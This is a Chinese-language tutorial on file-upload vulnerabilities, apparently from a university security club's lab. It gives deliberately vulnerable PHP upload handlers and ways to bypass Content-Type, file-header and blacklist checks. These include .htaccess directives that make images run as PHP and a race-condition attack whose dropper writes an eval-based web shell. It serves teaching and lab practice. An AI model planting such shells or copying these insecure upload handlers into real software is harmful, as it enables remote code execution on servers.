[web安全原理分析]-文件上传漏洞基础
简介
前端JS过滤绕过
待更新。。。
文件名过滤绕过
待更新
Content-type过滤绕过
Content-Type用于定义网络文件的类型和网页编码,用来告诉文件接收方以什么形式、什么编码读取这个文件。
不同的文件都会对应不同的Content-Type。例如JPG文件的Content-Type为image/jpeg,PHP文件的Content-Type为application/octet-stream。在Content-Type在数据包的请求包头中,开发者会通过Content-Type判断文件是否允许上传,但是Content-Type可以通过抓包篡改,这样就可以绕过Content-Type过滤了。
环境复现
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>Upload Labs</title> </head> <body> <h2>Upload Labs</h2> <form action="1.php" method="post" enctype="multipart/form-data"> <label for="file">文件名:</label> <input type="file" name="upfile" id="file"><br> <input type="submit" name="upload" value="提交"> </form> <hr> <center>榆林学院信息安全协会 2020/5/18</center> </body> </html> <?php if(is_uploaded_file($_FILES['upfile']['tmp_name'])){ $upfile=$_FILES["upfile"]; $name=$upfile["name"]; //获取上传文件的文件名 $type=$upfile["type"]; //获取上传文件的类型 $size=$upfile["size"]; //获取上传文件的大小 $tmp_name=$upfile["tmp_name"]; //获取上传文件的临时存放路径 switch($type){ case 'image/pjepg':$oktype=true; break; case 'image/jpeg':$oktype=true; break; case 'image/gif':$oktype=true; break; case 'image/png':$oktype=true; break; } if(!$oktype){ echo "<font color='red'>只能上传图像文件</font>"; die(); }else{ $error=$upfile["error"]; echo "====================<br>"; echo "上传文件名称是:".$name."<br>"; echo "上传文件类型是:".$type."<br>"; echo "上传文件大小是:".$size."<br>"; echo "上传后系统返回的值是:".$error."<br>"; echo "上传文件的临时存放路径是:".$tmp_name."<br>"; //吧上面的临时文件移动到up目录下面 move_uploaded_file($tmp_name,'upload/'.$name); $destination="upload/".$name; echo "====================<br/>"; if($error==0){ echo "文件上传成功"; echo "<br>图片预览</br>"; echo "<img src=".$destination.">"; } } } ?>
需要upload目录
修改Content-type的值为白名单的 image/pjepg、image/jpeg等即可绕过
过
简介
各种文件都有特定的文件头格式,开发者通过检查上传文件头检测文件类型,但是这种检测方式同样可以被绕过,只要在木马的头部添加对应的文件头,这样既可以绕过检测,又不影响木马文件的正常运行。
环境复现
漏洞代码
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>Upload Labs</title> </head> <body> <h2>Upload Labs</h2> <form action="1.php" method="post" enctype="multipart/form-data"> <label for="file">文件名:</label> <input type="file" name="upfile" id="file"><br> <input type="submit" name="upload" value="提交"> </form> <hr> <center>榆林学院信息安全协会 2020/5/18</center> </body> </html> <?php if(is_uploaded_file($_FILES['upfile']['tmp_name'])){ $upfile=$_FILES["upfile"]; $name=$upfile["name"]; //获取上传文件的文件名 $type=substr($name,strrpos($name,'.')+1); //获取上传文件的后缀 $size=$upfile["size"]; //获取上传文件的大小 $tmp_name=$upfile["tmp_name"]; //获取上传文件的临时存放路径 //判断是否为图片 //exif_imagetype() 读取一个图像的第一个字节并检查其签名。 if(!exif_imagetype($_FILES['upfile']['tmp_name'])){ echo "<font color='red'>只能上传图像文件</font>"; die(); }else{ $error=$upfile["error"]; echo "====================<br>"; echo "上传文件名称是:".$name."<br>"; echo "上传文件类型是:".$type."<br>"; echo "上传文件大小是:".$size."<br>"; echo "上传后系统返回的值是:".$error."<br>"; echo "上传文件的临时存放路径是:".$tmp_name."<br>"; //吧上面的临时文件移动到up目录下面 move_uploaded_file($tmp_name,'upload/'.$name); $destination="upload/".$name; echo "====================<br/>"; if($error==0){ echo "文件上传成功"; echo "<br>图片预览</br>"; echo "<img src=".$destination.">"; } } } ?>
当前目录下创建upload文件夹
如果报错:Call to undefined function exif_imagetype()
开启php.ini中的
extension=php_mbstring.dll
extension=php_exif.dll
上传PHP文件 拦截 改头
改成GIF的头 成功绕过
.htaccess文件上传
htaccess上传是利用.htacess文件对web服务器进行配置的功能,实现将扩展名.jpg、.png等文件当作PHP文件解析的过程
.htaccess基础
.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
.htaccess是web服务器的一个配置文件,可以通过.htaccess文件实现web服务器中的文件的解析方式、重定向等配置
开启.htaccess配置
1.修改配置文件httpd.conf
Options FollowSymLinks AllowOverride None 修改为: Options FollowSymLinks AllowOverride All
2.去掉mod_rewrite.so的注释,开启rewrite模块
# LoadModule foo_module modules/mod_foo.so
漏洞复现
漏洞代码
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>Upload Labs</title> </head> <body> <h2>Upload Labs</h2> <form action="index.php" method="post" enctype="multipart/form-data"> <label for="file">文件名:</label> <input type="file" name="upfile" id="file"><br> <input type="submit" name="upload" value="提交"> </form> <hr> <center>榆林学院信息安全协会 2020/2/29</center> </body> </html> <?php if(isset($_POST["upload"])){ $upfile=$_FILES["upfile"]; $name=$upfile["name"]; //获取上传文件的文件名 $type=substr($name,strrpos($name,'.')+1); //获取上传文件的后缀 $size=$upfile["size"]; //获取上传文件的大小 $tmp_name=$upfile["tmp_name"]; //获取上传文件的临时存放路径 //通过正则表达式黑名单过滤php、php1、pjp3等但是我们可以上传.htaccess文件 if(preg_match('/php.*/i',$type)){ echo "<script>alert('不能上传php文件!');</script>"; die(); }else{ $error=$upfile["error"]; echo "====================<br>"; echo "上传文件名称是:".$name."<br>"; echo "上传文件类型是:".$type."<br>"; echo "上传文件大小是:".$size."<br>"; echo "上传后系统返回的值是:".$error."<br>"; echo "上传文件的临时存放路径是:".$tmp_name."<br>"; //吧上面的临时文件移动到up目录下面 move_uploaded_file($tmp_name,'upload/'.$name); $destination="upload/".$name; echo "====================<br/>"; if($error==0){ echo "文件上传成功"; echo "<br>图片预览</br>"; echo "<img src=".$destination.">"; } } } ?>
上传.htaccess文件内容为
SetHandler application/x-httpd-php //将目录下所有文件当成PHP来解释
或者
<FilesMatch "jpg"> SetHandler application/x-httpd-php </FilesMatch> //将该目录下匹配的jpg当成php执行
上传名字为xiaohua.jpg文件 内容为phpinfo();
访问执行
.user.ini文件上传
https://www.cnblogs.com/xhds/p/12381390.html
文件截断上传
待更新
竞争条件上传
漏洞简介
竞争条件是指多个线程在没有进行锁操作或者同步操作的情况下同时访问一个共享代码、变量、文件等,运行的结果依赖于不同线程访问数据库的顺序
环境复现
漏洞代码
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>Upload Labs</title> </head> <body> <h2>Upload Labs</h2> <form action="1.php" method="post" enctype="multipart/form-data"> <label for="file">文件名:</label> <input type="file" name="upfile" id="file"> <input type="submit" name="upload" value="提交"> </form> <hr> <center>榆林学院信息安全协会 2020/5/18</center> </body> </html> <?php if(isset($_POST["upload"])){ $upfile=$_FILES["upfile"]; $filename=$upfile["name"]; //获取上传文件的文件名 $tmp_name=$upfile["tmp_name"]; //获取上传文件的临时存放路径 //白名单 $allow_ext=array("gif","png","jpg"); move_uploaded_file($tmp_name,"up/".$filename); $file="./up/".$filename; echo "文件上传成功:".$file."\n<br />"; $ext=array_pop(explode(".",$filename)); //array_pop() 删除数组中最后一个元素 //explode()函数使用一个字符串分割另一个字符串,并返回由字符串组成的数组。 if(!in_array($ext,$allow_ext)){ unlink($file); die("此文件类型不允许,已删除"); } } ?>
需要在目录中创建up文件夹用来保存上传文件
漏洞分析利用
代码首先将用户上传的文件保存在up目录中 之后进行文件后缀名判断 判断是否在$allow_ext 我们称之为白名单中 否则unlink删除。漏洞点在文件保存到服务器前没有进行安全验证,虽然保存后进行了验证单利用竞争条件上传漏洞有写文件功能的木马,在删除木马之前访问已经上传的木马就可以写入新的木马了。
双开burp 第一个burp null payload 不断的上传phpinfo.php文件
<?php fputs(fopen("shell.php","w"),"<?php @eval($_POST[xiaohua];?)>"); ?>
第二个burp也是null payload不断的访问shell.php文件 我们迅速的访问shell.php当系统还没反应过来的时候我们执行了phpinfo.php文件执行里面的代码生成了新的名为shell.php 的马 这样就造成了条件竞争漏洞
上传成功
漏洞修补